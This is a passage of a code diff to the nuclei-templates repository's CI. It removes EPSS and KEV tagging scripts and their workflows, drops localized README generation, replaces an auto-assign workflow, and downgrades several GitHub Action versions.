-                cve_to_files[cve_id].append(file_path)
-            else:
-                print(f"Could not extract CVE ID from {file_path}")
-        
-        print(f"Found {len(cve_to_files)} unique CVE IDs")
-        
-        # Fetch EPSS scores
-        all_cve_ids = list(cve_to_files.keys())
-        epss_data = self.fetch_epss_scores(all_cve_ids)
-        
-        print(f"Retrieved EPSS data for {len(epss_data)} CVEs")
-        
-        # Update templates
-        for cve_id, files in cve_to_files.items():
-            if cve_id in epss_data:
-                for file_path in files:
-                    if self.update_template(file_path, cve_id, epss_data[cve_id]):
-                        self.updated_count += 1
-            else:
-                print(f"No EPSS data found for {cve_id}")
-                self.error_count += 1
-        
-        print(f"\nUpdate complete!")
-        print(f"Templates updated: {self.updated_count}")
-        print(f"Errors: {self.error_count}")
-
-def main():
-    """Main entry point."""
-    if len(sys.argv) > 1:
-        root_dir = sys.argv[1]
-    else:
-        root_dir = os.getcwd()
-    
-    updater = EPSSUpdater(root_dir)
-    updater.run()
-
-if __name__ == "__main__":
-    main()
@@ -1,366 +0,0 @@
-#!/usr/bin/env python3
-"""
-Enhanced KEV and vKEV Tagging Updater for Nuclei Templates
-
-This script updates KEV and vKEV (VulnCheck Known Exploited Vulnerabilities) tags for all CVE templates by:
-1. Fetching the latest CISA KEV catalog
-2. Fetching VulnCheck's KEV data (if API key available)
-3. Adding 'kev' tag for CISA KEV CVEs
-4. Adding 'vkev' tag for VulnCheck KEV CVEs (including those not in CISA)
-"""
-
-import os
-import re
-import sys
-import time
-import json
-import requests
-from pathlib import Path
-from typing import Set, Optional, Dict, Tuple
-
-# Configuration
-CISA_KEV_JSON_URL = "https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json"
-VULNCHECK_KEV_API_URL = "https://api.vulncheck.com/v3/index/vulncheck-kev"
-TIMEOUT = 30
-MAX_RETRIES = 3
-VULNCHECK_PAGE_SIZE = 100
-
-class EnhancedKEVUpdater:
-    def __init__(self, root_dir: str):
-        self.root_dir = Path(root_dir)
-        self.updated_count = 0
-        self.error_count = 0
-        self.cisa_kev_cves = set()
-        self.vulncheck_kev_cves = set()
-        self.vulncheck_api_key = os.getenv('VULNCHECK_API_KEY')
-
-    def find_cve_templates(self) -> list[Path]:
-        """Find all CVE template files."""
-        cve_files = []
-
-        # Search for CVE templates in common directories
-        patterns = [
-            "**/cves/**/*.yaml",
-            "**/cve-*.yaml"
-        ]
-
-        for pattern in patterns:
-            cve_files.extend(self.root_dir.glob(pattern))
-
-        return sorted(list(set(cve_files)))
-
-    def extract_cve_id(self, file_path: Path) -> Optional[str]:
-        """Extract CVE ID from filename or template content."""
-        # First try filename
-        filename = file_path.stem
-        cve_match = re.search(r'CVE-\d{4}-\d+', filename, re.IGNORECASE)
-        if cve_match:
-            return cve_match.group().upper()
-
-        # If not found in filename, try content
-        try:
-            with open(file_path, 'r', encoding='utf-8') as f:
-                content = f.read()
-                cve_match = re.search(r'cve-id:\s*(CVE-\d{4}-\d+)', content, re.IGNORECASE)
-                if cve_match:
-                    return cve_match.group(1).upper()
-        except Exception as e:
-            print(f"Error reading {file_path}: {e}")
-
-        return None
-
-    def fetch_cisa_kev_data(self) -> Set[str]:
-        """Fetch CISA KEV catalog and return set of CVE IDs."""
-        kev_cves = set()
-
-        for attempt in range(MAX_RETRIES):
-            try:
-                print("Fetching CISA KEV catalog...")
-                response = requests.get(CISA_KEV_JSON_URL, timeout=TIMEOUT)
-                response.raise_for_status()
-
-                data = response.json()
-
-                if 'vulnerabilities' in data:
-                    for vuln in data['vulnerabilities']:
-                        if 'cveID' in vuln:
-                            kev_cves.add(vuln['cveID'].upper())
-
-                    print(f"Retrieved {len(kev_cves)} CVEs from CISA KEV catalog")
-                    break
-                else:
-                    print("Invalid CISA KEV data format")
-
-            except requests.RequestException as e:
-                print(f"CISA KEV fetch failed (attempt {attempt + 1}/{MAX_RETRIES}): {e}")
-                if attempt == MAX_RETRIES - 1:
-                    print("Failed to fetch CISA KEV data")
-                else:
-                    time.sleep(2 * (attempt + 1))
-
-            except Exception as e:
-                print(f"Unexpected error fetching CISA KEV: {e}")
-                break
-
-        return kev_cves
-
-    def fetch_vulncheck_kev_data(self) -> Set[str]:
-        """Fetch VulnCheck KEV catalog and return set of CVE IDs."""
-        if not self.vulncheck_api_key:
-            print("VulnCheck API key not available, skipping vKEV data fetch")
-            return set()
-
-        vkev_cves = set()
-        page = 1
-        total_pages = None
-        pages_fetched = 0
-
-        print("Fetching VulnCheck KEV catalog...")
-
-        while True:
-            for attempt in range(MAX_RETRIES):
-                try:
-                    headers = {
-                        'Authorization': f'Bearer {self.vulncheck_api_key}',
-                        'Accept': 'application/json'
-                    }
-
-                    params = {
-                        'limit': VULNCHECK_PAGE_SIZE,
-                        'page': page
-                    }
-
-                    response = requests.get(VULNCHECK_KEV_API_URL, headers=headers, params=params, timeout=TIMEOUT)
-                    response.raise_for_status()
-
-                    data = response.json()
-
-                    if 'data' in data and data['data']:
-                        for entry in data['data']:
-                            if 'cve' in entry and entry['cve']:
-                                for cve_id in entry['cve']:
-                                    if cve_id and cve_id.startswith('CVE-'):
-                                        vkev_cves.add(cve_id.upper())
-
-                        # Check pagination info
-                        meta = data.get('_meta', {})
-                        total_pages = meta.get('total_pages', 0)
-                        current_page = meta.get('page', page)
-
-                        pages_fetched += 1
-                        print(f"Fetched page {current_page}/{total_pages} ({len(data['data'])} entries, {len(vkev_cves)} unique CVEs so far)")
-
-                        # Check if we've reached the last page
-                        if current_page >= total_pages:
-                            print(f"Completed fetching all {pages_fetched} pages")
-                            return vkev_cves
-
-                        # Rate limiting: small delay between requests to avoid hitting API limits
-                        if pages_fetched % 10 == 0:  # Every 10 pages, longer delay
-                            print(f"Pausing for rate limiting after {pages_fetched} pages...")
-                            time.sleep(2)
-                        else:
-                            time.sleep(0.5)  # Small delay between requests
-
-                        page += 1
-                        break  # Break retry loop, continue to next page
-                    else:
-                        print("No more VulnCheck KEV data")
-                        return vkev_cves
-
-                except requests.RequestException as e:
-                    print(f"VulnCheck KEV fetch failed (attempt {attempt + 1}/{MAX_RETRIES}, page {page}): {e}")
-                    if attempt == MAX_RETRIES - 1:
-                        print(f"Failed to fetch VulnCheck KEV data for page {page}")
-                        return vkev_cves  # Return what we have so far
-                    else:
-                        # Exponential backoff with rate limiting consideration
-                        delay = min(10, 2 * (attempt + 1))
-                        print(f"Retrying after {delay} seconds...")
-                        time.sleep(delay)
-
-                except Exception as e:
-                    print(f"Unexpected error fetching VulnCheck KEV: {e}")
-                    return vkev_cves  # Return what we have so far
-
-        print(f"Retrieved {len(vkev_cves)} CVEs from VulnCheck KEV catalog")
-        return vkev_cves
-
-    def has_tag(self, content: str, tag: str) -> bool:
-        """Check if template already has specific tag in tags field."""
-        # Look for tags field and check if tag is present
-        tags_match = re.search(r'tags:\s*([^\n]+)', content)
-        if tags_match:
-            tags_str = tags_match.group(1)
-            # Check for tag as a standalone tag (not part of another word)
-            if re.search(rf'\b{tag}\b', tags_str, re.IGNORECASE):
-                return True
-        return False
-
-    def add_tag(self, content: str, tag: str) -> tuple[str, bool]:
-        """Add tag to the tags field. Returns (updated_content, was_updated)."""
-        if self.has_tag(content, tag):
-            return content, False
-
-        # Find the tags field
-        tags_match = re.search(r'(\s*tags:\s*)([^\n]+)', content)
-        if tags_match:
-            indent = tags_match.group(1)
-            existing_tags = tags_match.group(2).rstrip()
-
-            # Add tag at the end
-            new_tags = existing_tags + f',{tag}'
-            new_line = f"{indent}{new_tags}"
-
-            updated_content = content.replace(tags_match.group(0), new_line)
-            return updated_content, True
-        else:
-            print(f"Warning: No tags field found to add {tag} tag")
-            return content, False
-
-    def remove_tag(self, content: str, tag: str) -> tuple[str, bool]:
-        """Remove tag from the tags field. Returns (updated_content, was_updated)."""
-        if not self.has_tag(content, tag):
-            return content, False
-
-        # Find and update tags field
-        tags_match = re.search(r'(\s*tags:\s*)([^\n]+)', content)
-        if tags_match:
-            indent = tags_match.group(1)
-            existing_tags = tags_match.group(2)
-
-            # Remove tag in various positions
-            new_tags = existing_tags
-            # Remove ,tag or tag, patterns
-            new_tags = re.sub(rf',\s*{tag}\b', '', new_tags)
-            new_tags = re.sub(rf'\b{tag}\s*,', '', new_tags)
-            new_tags = re.sub(rf'^\s*{tag}\s*$', '', new_tags)  # tag is only tag
-            new_tags = re.sub(rf'^\s*{tag}\s*,\s*', '', new_tags)  # tag is first tag
-
-            if new_tags != existing_tags:
-                new_line = f"{indent}{new_tags}"
-                updated_content = content.replace(tags_match.group(0), new_line)
-                return updated_content, True
-
-        return content, False
-
-    def update_template_tags(self, file_path: Path, cve_id: str, is_cisa_kev: bool, is_vulncheck_kev: bool) -> bool:
-        """Update a template file with KEV and vKEV tags."""
-        try:
-            with open(file_path, 'r', encoding='utf-8') as f:
-                content = f.read()
-
-            original_content = content
-            updated = False
-
-            # Handle CISA KEV tag
-            if is_cisa_kev:
-                # Add kev tag if missing
-                content, tag_added = self.add_tag(content, 'kev')
-                if tag_added:
-                    print(f"Added kev tag to {file_path.name}")
-                    updated = True
-            else:
-                # Remove kev tag if present but CVE is not in CISA KEV catalog
-                if self.has_tag(content, 'kev'):
-                    # Only remove if we're confident about our KEV data
-                    if len(self.cisa_kev_cves) > 1000:  # Sanity check
-                        content, tag_removed = self.remove_tag(content, 'kev')
-                        if tag_removed:
-                            print(f"Removed kev tag from {file_path.name} (no longer in CISA KEV catalog)")
-                            updated = True
-                    else:
-                        print(f"Warning: {cve_id} has kev tag but not in current CISA KEV catalog (keeping tag)")
-
-            # Handle VulnCheck KEV tag
-            if is_vulncheck_kev:
-                # Add vkev tag if missing
-                content, tag_added = self.add_tag(content, 'vkev')
-                if tag_added:
-                    print(f"Added vkev tag to {file_path.name}")
-                    updated = True
-            else:
-                # Remove vkev tag if present but CVE is not in VulnCheck KEV catalog
-                if self.has_tag(content, 'vkev') and len(self.vulncheck_kev_cves) > 100:  # Sanity check
-                    content, tag_removed = self.remove_tag(content, 'vkev')
-                    if tag_removed:
-                        print(f"Removed vkev tag from {file_path.name} (no longer in VulnCheck KEV catalog)")
-                        updated = True
-
-            # Write updated content if changes were made
-            if updated:
-                with open(file_path, 'w', encoding='utf-8') as f:
-                    f.write(content)
-                return True
-
-            return False
-
-        except Exception as e:
-            print(f"Error updating {file_path}: {e}")
-            self.error_count += 1
-            return False
-
-    def run(self):
-        """Main execution function."""
-        print("Starting enhanced KEV/vKEV tagging update...")
-
-        # Fetch KEV data
-        self.cisa_kev_cves = self.fetch_cisa_kev_data()
-        self.vulncheck_kev_cves = self.fetch_vulncheck_kev_data()
-
-        if not self.cisa_kev_cves and not self.vulncheck_kev_cves:
-            print("No KEV data available, exiting")
-            return
-
-        # Find all CVE templates
-        template_files = self.find_cve_templates()
-        print(f"Found {len(template_files)} CVE template files")
-
-        if not template_files:
-            print("No CVE templates found!")
-            return
-
-        # Process templates
-        cisa_kev_found = 0
-        vulncheck_kev_found = 0
-        both_kev_found = 0
-
-        for file_path in template_files:
-            cve_id = self.extract_cve_id(file_path)
-            if cve_id:
-                is_cisa_kev = cve_id in self.cisa_kev_cves
-                is_vulncheck_kev = cve_id in self.vulncheck_kev_cves
-
-                if is_cisa_kev:
-                    cisa_kev_found += 1
-                if is_vulncheck_kev:
-                    vulncheck_kev_found += 1
-                if is_cisa_kev and is_vulncheck_kev:
-                    both_kev_found += 1
-
-                if self.update_template_tags(file_path, cve_id, is_cisa_kev, is_vulncheck_kev):
-                    self.updated_count += 1
-            else:
-                print(f"Could not extract CVE ID from {file_path}")
-
-        print(f"\nEnhanced KEV/vKEV update complete!")
-        print(f"Templates updated: {self.updated_count}")
-        print(f"CISA KEV CVEs found in templates: {cisa_kev_found}")
-        print(f"VulnCheck KEV CVEs found in templates: {vulncheck_kev_found}")
-        print(f"CVEs in both CISA and VulnCheck KEV: {both_kev_found}")
-        print(f"CISA KEV catalog size: {len(self.cisa_kev_cves)}")
-        print(f"VulnCheck KEV catalog size: {len(self.vulncheck_kev_cves)}")
-        print(f"Errors: {self.error_count}")
-
-def main():
-    """Main entry point."""
-    if len(sys.argv) > 1:
-        root_dir = sys.argv[1]
-    else:
-        root_dir = os.getcwd()
-
-    updater = EnhancedKEVUpdater(root_dir)
-    updater.run()
-
-if __name__ == "__main__":
-    main()
@@ -1,7 +1,6 @@
 #!/usr/bin/env python3
 import glob
 import subprocess
-import re

 def countTpl(path):
 	return len(glob.glob(path + "/*.*"))
@@ -14,60 +13,11 @@ def get_top10():
 	TOP10 = command(["cat", "TOP-10.md"])
 	return HEADER + TOP10 if len(TOP10) > 0 else ""

-def get_kev_stats():
-	"""Get KEV and vKEV statistics by running the count-kev-stats.py script."""
-	try:
-		result = subprocess.run(
-			["python3", ".github/scripts/count-kev-stats.py"],
-			text=True,
-			capture_output=True,
-			timeout=120
-		)
-
-		# Parse the output
-		stats = {}
-		for line in result.stdout.strip().split('\n'):
-			if '=' in line:
-				key, value = line.split('=')
-				stats[key.lower()] = int(value)
-
-		return stats
-	except Exception as e:
-		print(f"Error getting KEV stats: {e}")
-		return {
-			'kev_total': 0,
-			'vkev_total': 0,
-			'both': 0,
-			'kev_only': 0,
-			'vkev_only': 0,
-			'total_templates': 0
-		}
-
 if __name__ == "__main__":
 	version = command(["git", "describe", "--tags", "--abbrev=0"])
-	kev_stats = get_kev_stats()
 	template = eval(open(".github/scripts/README.tmpl", "r").read())

 	print(template)
-	
-	# Update main README.md
 	f = open("README.md", "w")
 	f.write(template)
 	f.close()
-	
-	# Update localized README files with their respective templates
-	localized_files = {
-		"README_CN.md": ".github/scripts/README_CN.tmpl",
-		"README_JA.md": ".github/scripts/README_JA.tmpl", 
-		"README_KR.md": ".github/scripts/README_KR.tmpl"
-	}
-	
-	for readme_file, template_file in localized_files.items():
-		try:
-			localized_template = eval(open(template_file, "r").read())
-			f = open(readme_file, "w")
-			f.write(localized_template)
-			f.close()
-		except FileNotFoundError:
-			print(f"Template {template_file} not found, skipping {readme_file}")
-			continue
@@ -1,164 +1,26 @@
-name: Auto-assign on open
-
+name: 🤖 issue/pr assignment
 on:
+#  pull_request:
+#    types: [opened]
+#    branches: 
+#      - main
  issues:
-    types: [opened, reopened]
-  # Use pull_request_target so the job has permissions on PRs from forks.
-  pull_request_target:
-    types: [opened, ready_for_review, reopened]
+    types: [opened]

-permissions:
-  contents: read
-  issues: write
-  pull-requests: write
-
-concurrency:
-  group: auto-assign-on-open
-  cancel-in-progress: false
+env:
+  ASSIGN_TASK_TOKEN: ${{ secrets.PDTEAMX_PAT }} # github personal token

 jobs:
-  assign:
+  build:
+    permissions: write-all
    runs-on: ubuntu-latest
    steps:
-      - uses: actions/github-script@v8
+      - uses: actions/checkout@v4 # checkout the repository content
+      - uses: actions/setup-python@v5
        with:
-          script: |
-            const ORG = context.repo.owner;
-            const REPO = context.repo.repo;
-
-            // ======= CONFIG: put your user pools here =======
-            // Usernames must be GitHub logins and collaborators on this repo.
-            const ISSUE_ASSIGNEES = [
-              "pussycat0x","ritikchaddha","DhiyaneshGeek","akokonunes","theamanrawat"
-            ];
-            const REVIEW_POOL = [
-              "pussycat0x","ritikchaddha","DhiyaneshGeek","akokonunes","theamanrawat"
-            ];
-            const LOOKBACK_DAYS = 7; // only used as a tie-break fairness metric
-            // ================================================
-
-            function toLowerAll(xs){ return xs.map(x => x.toLowerCase()); }
-            const issuePool = new Set(toLowerAll(ISSUE_ASSIGNEES));
-            const reviewPool = new Set(toLowerAll(REVIEW_POOL));
-            const sinceISO = new Date(Date.now() - LOOKBACK_DAYS*24*60*60*1000).toISOString();
-
-            // Simple "least recent then fewest in lookback" picker
-            function initMap(arr){ const m=new Map(); for(const a of arr) m.set(a,0); return m; }
-            const issueCounts = initMap(issuePool);
-            const prAssigneeCounts = initMap(reviewPool);
-            const prReviewerCounts = initMap(reviewPool);
-            const lastIssueAssign = new Map();
-            const lastPrAssignee = new Map();
-            const lastPrReviewer = new Map();
-
-            function pick(countsMap, lastMap, exclude=new Set()){
-              const cands = [...countsMap.keys()].filter(x => !exclude.has(x));
-              if (!cands.length) return null;
-              cands.sort((a,b)=>{
-                const ca=countsMap.get(a)||0, cb=countsMap.get(b)||0;
-                if (ca!==cb) return ca-cb;
-                const ta=lastMap.get(a)?.getTime()||0, tb=lastMap.get(b)?.getTime()||0;
-                if (ta!==tb) return ta-tb;
-                return a.localeCompare(b);
-              });
-              return cands[0];
-            }
-
-            async function buildIssueStats(){
-              for await (const page of github.paginate.iterator(
-                github.rest.issues.listForRepo,
-                { owner: ORG, repo: REPO, state: 'all', since: sinceISO, per_page: 100 }
-              )){
-                for (const it of page.data){
-                  if (it.pull_request) continue;
-                  const ts = new Date(it.created_at);
-                  if (ts < new Date(sinceISO)) continue;
-                  for (const a of (it.assignees||[])){
-                    const l=a.login.toLowerCase();
-                    if (issuePool.has(l)){
-                      issueCounts.set(l,(issueCounts.get(l)||0)+1);
-                      const lastTs = lastIssueAssign.get(l);
-                      if (!lastTs || ts > lastTs) lastIssueAssign.set(l, ts);
-                    }
-                  }
-                }
-              }
-            }
-
-            async function buildPrStats(){
-              for await (const page of github.paginate.iterator(
-                github.rest.pulls.list,
-                { owner: ORG, repo: REPO, state: 'all', per_page: 100 }
-              )){
-                for (const pr of page.data){
-                  const ts = new Date(pr.created_at);
-                  if (ts < new Date(sinceISO)) continue;
-                  // Count all assignees (plural)
-                  for (const a of (pr.assignees||[])){
-                    const l = a.login.toLowerCase();
-                    if (reviewPool.has(l)){
-                      prAssigneeCounts.set(l,(prAssigneeCounts.get(l)||0)+1);
-                      const lastTs = lastPrAssignee.get(l);
-                      if (!lastTs || ts > lastTs) lastPrAssignee.set(l, ts);
-                    }
-                  }
-                  // Count all reviewers separately
-                  for (const r of (pr.requested_reviewers||[])){
-                    const l=r.login.toLowerCase();
-                    if (reviewPool.has(l)){
-                      prReviewerCounts.set(l,(prReviewerCounts.get(l)||0)+1);
-                      const lastTs = lastPrReviewer.get(l);
-                      if (!lastTs || ts > lastTs) lastPrReviewer.set(l, ts);
-                    }
-                  }
-                }
-              }
-            }
-
-            // Build stats once per run (cheap enough for small repos)
-            await Promise.all([buildIssueStats(), buildPrStats()]);
-
-            // Determine context
-            if (context.eventName === 'issues') {
-              const issue = context.payload.issue;
-              if (issue.pull_request) return; // guard
-              if ((issue.assignees||[]).length>0) return;
-
-              const pickee = pick(issueCounts, lastIssueAssign);
-              if (!pickee) return;
-
-              await github.rest.issues.addAssignees({
-                owner: ORG, repo: REPO, issue_number: issue.number, assignees: [pickee]
-              });
-
-            } else if (context.eventName === 'pull_request_target') {
-              const pr = context.payload.pull_request;
-              const prNum = pr.number;
-
-              const author = (pr.user?.login||"").toLowerCase();
-              const assignee = pr.assignee?.login?.toLowerCase();
-
-              // Ensure one assignee (use assignee counts only)
-              let finalAssignee = assignee;
-              if (!finalAssignee) {
-                const a = pick(prAssigneeCounts, lastPrAssignee, new Set([author]));
-                if (a) {
-                  await github.rest.issues.addAssignees({
-                    owner: ORG, repo: REPO, issue_number: prNum, assignees: [a]
-                  });
-                  finalAssignee = a;
-                }
-              }
-
-              // One reviewer, not the author, not the assignee (use reviewer counts only)
-              const already = new Set((pr.requested_reviewers||[]).map(x=>x.login.toLowerCase()));
-              if (already.size === 0 && !pr.draft) {
-                const exclude = new Set([author, finalAssignee].filter(Boolean));
-                const reviewer = pick(prReviewerCounts, lastPrReviewer, exclude);
-                if (reviewer) {
-                  await github.rest.pulls.requestReviewers({
-                    owner: ORG, repo: REPO, pull_number: prNum, reviewers: [reviewer]
-                  });
-                }
-              }
-            }
+          python-version: '3.10' # install the python version needed
+      - run: pip install requests
+#      - if: github.event_name == 'pull_request'
+#        run: python .github/scripts/assign_tasks.py ${{ github.event.pull_request.number }} pr ${{ secrets.GITHUB_TOKEN }}
+      - if: github.event_name == 'issues'
+        run: python .github/scripts/assign_tasks.py ${{ github.event.issue.number }} issue ${{ secrets.GITHUB_TOKEN }}
@@ -1,62 +0,0 @@
-name: 🔧 CVE Enhancement
-
-on:
-  push:
-    branches:
-      - main
-    paths:
-      - '**/cves/**/*.yaml'
-  workflow_dispatch:
-
-jobs:
-  enhance:
-    runs-on: ubuntu-latest
-    if: github.repository == 'projectdiscovery/nuclei-templates'
-    permissions:
-      contents: write
-
-    steps:
-      - uses: actions/checkout@v4
-        with:
-          fetch-depth: 0
-
-      - name: Setup Python
-        uses: actions/setup-python@v6
-        with:
-          python-version: '3.11'
-
-      - name: Install dependencies
-        run: pip install requests
-
-      - name: Get changed CVE files
-        id: files
-        run: |
-          # Get files changed in the last commit
-          FILES=$(git diff --name-only HEAD~1 HEAD | grep 'cves/.*\.yaml$' || echo "")
-          if [ -n "$FILES" ]; then
-            echo "changed=true" >> $GITHUB_OUTPUT
-            echo "$FILES" > /tmp/cve_files.txt
-            echo "Changed CVE files:"
-            cat /tmp/cve_files.txt
-          else
-            echo "changed=false" >> $GITHUB_OUTPUT
-          fi
-
-      - name: Enhance CVE templates
-        if: steps.files.outputs.changed == 'true'
-        run: |
-          while read file; do
-            [ -f "$file" ] && python .github/scripts/enhance-cve-fields.py "$file"
-          done < /tmp/cve_files.txt
-
-      - name: Commit changes
-        if: steps.files.outputs.changed == 'true'
-        run: |
-          if ! git diff --quiet; then
-            git config user.name "github-actions[bot]"
-            git config user.email "github-actions[bot]@users.noreply.github.com"
-            git add -A
-            git commit -m "chore: add impact and remediation fields 🤖"
-            git pull origin $GITHUB_REF --rebase
-            git push origin $GITHUB_REF
-          fi
@@ -13,7 +13,7 @@ jobs:
    runs-on: ubuntu-latest
    if: github.repository == 'projectdiscovery/nuclei-templates'
    steps:
-      - uses: actions/checkout@v5
+      - uses: actions/checkout@v4
      - uses: projectdiscovery/actions/setup/go@v1
        with:
          go-version: 'stable'
@@ -1,53 +0,0 @@
-name: 📊 EPSS Score Update
-
-on:
-  schedule:
-    # Run daily at 2:00 AM UTC
-    - cron: '0 2 * * *'
-  workflow_dispatch:
-
-jobs:
-  update-epss:
-    runs-on: ubuntu-latest
-    if: github.repository == 'projectdiscovery/nuclei-templates'
-    steps:
-      - name: Checkout repository
-        uses: actions/checkout@v5
-
-      - name: Setup Python
-        uses: actions/setup-python@v6
-        with:
-          python-version: '3.11'
-
-      - name: Install dependencies
-        run: |
-          pip install requests pyyaml
-
-      - name: Update EPSS scores
-        run: python .github/scripts/update-epss.py
-
-      - name: Check for changes
-        id: changes
-        run: |
-          if git diff --quiet; then
-            echo "changes=false" >> $GITHUB_OUTPUT
-          else
-            echo "changes=true" >> $GITHUB_OUTPUT
-          fi
-
-      - name: Setup Git
-        if: steps.changes.outputs.changes == 'true'
-        uses: projectdiscovery/actions/setup/git@v1
-
-      - name: Commit changes
-        if: steps.changes.outputs.changes == 'true'
-        uses: projectdiscovery/actions/commit@v1
-        with:
-          files: '**/cves/**/*.yaml'
-          message: 'chore: update EPSS scores 🤖'
-
-      - name: Push changes
-        if: steps.changes.outputs.changes == 'true'
-        run: |
-          git pull origin $GITHUB_REF --rebase
-          git push origin $GITHUB_REF
@@ -1,56 +0,0 @@
-name: 📋 KEV & vKEV Tag Update
-
-on:
-  schedule:
-    # Run daily at 3:00 AM UTC (1 hour after EPSS update)
-    - cron: '0 3 * * *'
-  workflow_dispatch:
-
-jobs:
-  update-kev:
-    runs-on: ubuntu-latest
-    if: github.repository == 'projectdiscovery/nuclei-templates'
-    steps:
-      - name: Checkout repository
-        uses: actions/checkout@v5
-
-      - name: Setup Python
-        uses: actions/setup-python@v6
-        with:
-          python-version: '3.11'
-
-      - name: Install dependencies
-        run: |
-          pip install requests pyyaml
-
-      - name: Update KEV and vKEV tags
-        run: python .github/scripts/update-kev.py
-        env:
-          # VulnCheck API key for enhanced vKEV data
-          VULNCHECK_API_KEY: ${{ secrets.VULNCHECK_API_KEY }}
-
-      - name: Check for changes
-        id: changes
-        run: |
-          if git diff --quiet; then
-            echo "changes=false" >> $GITHUB_OUTPUT
-          else
-            echo "changes=true" >> $GITHUB_OUTPUT
-          fi
-
-      - name: Setup Git
-        if: steps.changes.outputs.changes == 'true'
-        uses: projectdiscovery/actions/setup/git@v1
-
-      - name: Commit changes
-        if: steps.changes.outputs.changes == 'true'
-        uses: projectdiscovery/actions/commit@v1
-        with:
-          files: '**/cves/**/*.yaml'
-          message: 'chore: update KEV and vKEV tags and metadata 🤖'
-
-      - name: Push changes
-        if: steps.changes.outputs.changes == 'true'
-        run: |
-          git pull origin $GITHUB_REF --rebase
-          git push origin $GITHUB_REF
@@ -18,7 +18,7 @@ jobs:
    runs-on: ubuntu-latest
    if: github.repository == 'projectdiscovery/nuclei-templates'
    steps:
-      - uses: actions/checkout@v5
+      - uses: actions/checkout@v4
        with:
          fetch-depth: 0
      - name: Generate new addition list
@@ -2,7 +2,7 @@ name: 📝 Readme Update

 on:
  workflow_run:
-    workflows: ["🗒 Templates Stats", "📋 KEV & vKEV Tag Update"]
+    workflows: ["🗒 Templates Stats"]
    types:
      - completed
  workflow_dispatch:
@@ -13,14 +13,14 @@ jobs:
    if: github.repository == 'projectdiscovery/nuclei-templates'
    steps:
      - run: sudo apt-get install tree -y
-      - uses: actions/checkout@v5
-      - uses: actions/setup-python@v6
+      - uses: actions/checkout@v4
+      - uses: actions/setup-python@v5
        with:
          python-version: "3.8"
      - run: python .github/scripts/update-readme.py
      - uses: projectdiscovery/actions/setup/git@v1
      - uses: projectdiscovery/actions/commit@v1
        with:
-          files: 'README.md README_*.md'
+          files: 'README.md'
          message: 'docs: update README 🤖'
      - run: git push origin $GITHUB_REF
@@ -16,7 +16,7 @@ jobs:
    runs-on: ubuntu-latest
    if: github.repository == 'projectdiscovery/nuclei-templates'
    steps:
-      - uses: actions/checkout@v5
+      - uses: actions/checkout@v4
      - uses: projectdiscovery/actions/generate/checksum@v1
        with:
          templates-directory: '${{ github.workspace }}'
@@ -14,10 +14,10 @@ jobs:
    runs-on: ubuntu-latest
    if: github.repository == 'projectdiscovery/nuclei-templates'
    steps:
-      - uses: actions/checkout@v5
-      - uses: projectdiscovery/nuclei-action@v3
+      - uses: actions/checkout@v4
+      - uses: projectdiscovery/actions/setup/nuclei@v1
        with:
-          install-only: true
+          token: '${{ secrets.GITHUB_TOKEN}}'
      - run: nuclei -lfa -duc -sign -ud $GITHUB_WORKSPACE -t .
        env:
          NUCLEI_USER_CERTIFICATE: ${{ secrets.NUCLEI_USER_CERTIFICATE }}
@@ -38,11 +38,18 @@ jobs:
    runs-on: windows-latest
    if: github.repository == 'projectdiscovery/nuclei-templates'
    steps:
-      - uses: actions/checkout@v5
-
-      - uses: projectdiscovery/nuclei-action@v3
+      - uses: actions/checkout@v4
+      
+      - name: Set up Go
+        uses: actions/setup-go@v5
        with:
-          install-only: true
+          go-version: '1.21'
+          
+      - name: Install Nuclei
+        run: |
+          go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
+          nuclei -version
+        shell: bash
          
      - name: Sign Windows Templates
        run: nuclei -lfa -duc -sign -ud "${{ github.workspace }}" -t "code/windows/audit"
@@ -8,7 +8,7 @@ jobs:
    runs-on: ubuntu-latest
    if: github.repository == 'projectdiscovery/nuclei-templates'
    steps:
-      - uses: actions/checkout@v5
+      - uses: actions/checkout@v4
      - uses: projectdiscovery/actions/setup/templateman@v1
        with:
          token: '${{ secrets.PDTEAMX_CLASSIC_PAT }}'
@@ -11,7 +11,7 @@ jobs:
    runs-on: ubuntu-latest
    if: github.repository == 'projectdiscovery/nuclei-templates'
    steps:
-      - uses: actions/checkout@v5
+      - uses: actions/checkout@v4
        with: 
          fetch-depth: 0
      - uses: projectdiscovery/actions/templates/stats@v1
@@ -11,7 +11,7 @@ jobs:
    runs-on: ubuntu-latest
    if: github.repository == 'projectdiscovery/nuclei-templates'
    steps:
-      - uses: actions/checkout@v5
+      - uses: actions/checkout@v4
      - uses: karancode/[email protected]
        with:
          yamllint_config_filepath: .yamllint
@@ -23,12 +23,12 @@ jobs:
    runs-on: ubuntu-latest
    if: github.repository == 'projectdiscovery/nuclei-templates'
    steps:
-      - uses: actions/checkout@v5
-      - uses: projectdiscovery/nuclei-action@v3
+      - uses: actions/checkout@v4
+      - uses: projectdiscovery/actions/setup/nuclei@v1
        with:
-          install-only: true
+          token: '${{ secrets.GITHUB_TOKEN }}'
      - name: Validate templates
-        run: nuclei -duc -validate -lfa -ud $GITHUB_WORKSPACE -w workflows/ -et .github/ -ept code -et helpers/payloads/
+        run: nuclei -duc -validate -lfa -ud $GITHUB_WORKSPACE -w workflows/ -et .github/

  weak-matcher-checks:
    needs: lint
@@ -40,8 +40,8 @@ jobs:
    env:
      HONEYPOT_URL: 'http://honey.scanme.sh'
    steps:
-      - uses: actions/checkout@v5
-      - uses: dorny/paths-filter@v4
+      - uses: actions/checkout@v4
+      - uses: dorny/paths-filter@v3
        id: filter
        with:
          list-files: shell
@@ -52,16 +52,16 @@ jobs:
              - '!.github/**'
            changed:
              - added|modified: *templates
-      - uses: projectdiscovery/nuclei-action@v3
+      - uses: projectdiscovery/actions/setup/nuclei@v1
        with:
-          install-only: true
+          token: '${{ secrets.GITHUB_TOKEN }}'
      - run: bash weak-matcher-checks.sh
        id: check
        if: steps.filter.outputs.changed == 'true'
        env:
          CHANGED_FILES: '${{ steps.filter.outputs.changed_files }}'
        working-directory: '.github/scripts/'
-      - uses: actions/github-script@v8
+      - uses: actions/github-script@v7
        if: steps.check.outputs.weak == 'true'
        with:
          script: |
@@ -10,10 +10,10 @@ jobs:
    if: github.repository == 'projectdiscovery/nuclei-templates'
    steps:
      - name: Check out repository code
-        uses: actions/checkout@v5
+        uses: actions/checkout@v4

      - name: Install Python3
-        uses: actions/setup-python@v6
+        uses: actions/setup-python@v5
        with:
          python-version: "3.10"

